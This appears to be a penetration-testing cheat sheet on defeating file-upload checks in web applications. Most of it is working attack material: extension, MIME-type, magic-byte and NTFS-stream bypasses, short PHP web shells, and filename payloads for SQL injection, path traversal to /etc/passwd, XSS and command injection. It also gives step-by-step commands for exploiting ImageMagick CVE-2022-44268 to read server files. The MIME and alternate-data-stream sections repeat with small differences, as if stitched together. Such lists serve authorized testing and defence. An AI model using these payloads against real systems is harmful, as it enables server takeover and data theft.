### Upload Tricks
- Use double extensions : `.jpg.php, .png.php5`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
- Null byte (works well against `pathinfo()`)

* Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
* Multiple special characters: `file.jsp/././././.`
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
* `Content-Type : image/gif`
* `Content-Type : image/png`
* `Content-Type : image/jpeg`
* Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Set the Content-Type twice: once for unallowed type and once for allowed.
- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.

* JPG: `\xff\xd8\xff`
* GIF: `GIF87a` OR `GIF8;`
* Shell can also be added in the metadata
- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
**File Identification**:
MIME type, a MIME type (Multipurpose Internet Mail Extensions type) is a standardized identifier that tells browsers, servers, and applications what kind of file or data is being handled. It consists of a type and a subtype, separated by a slash. Change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` to disguise the content as an image.
* `Content-Type : image/gif`
* `Content-Type : image/png`
* `Content-Type : image/jpeg`
* Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Set the `Content-Type` twice, once for unallowed type and once for allowed.

**File Encapsulation**:
Using NTFS alternate data stream (ADS) in Windows.
In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one.

Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
**Other Techniques**:
PHP web shells don't always have the `<?php` tag, here are some alternatives:
* Using a PHP script tag `<script language="php">`
```html
<script language="php">system("id");</script>
```
* The `<?=` is shorthand syntax in PHP for outputting values. It is equivalent to using `<?php echo`.
```php
<?=`$_GET[0]`?>
```
### Filename Vulnerabilities
Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.
- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
- LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd`
- XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
- File Traversal e.g. `../../../tmp/lol.png`
- Command Injection e.g. `; sleep 10;`

- EICAR file to check the presence of an antivirus

### Picture Compression
Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
- Picture Metadata, hide the payload inside a comment tag in the metadata.
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.

#### CVE-2022-44268
CVE-2022-44268 is an information disclosure vulnerability identified in ImageMagick. An attacker can exploit this by crafting a malicious image file that, when processed by ImageMagick, can disclose information from the local filesystem of the server running the vulnerable version of the software.
* Generate the payload
```ps1
apt-get install pngcrush imagemagick exiftool exiv2 -y
pngcrush -text a "profile" "/etc/passwd" exploit.png
```
* Trigger the exploit by uploading the file. The backend might use something like `convert pngout.png pngconverted.png`
* Download the converted picture and inspect its content with: `identify -verbose pngconverted.png`
* Convert the exfiltrated data: `python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'`
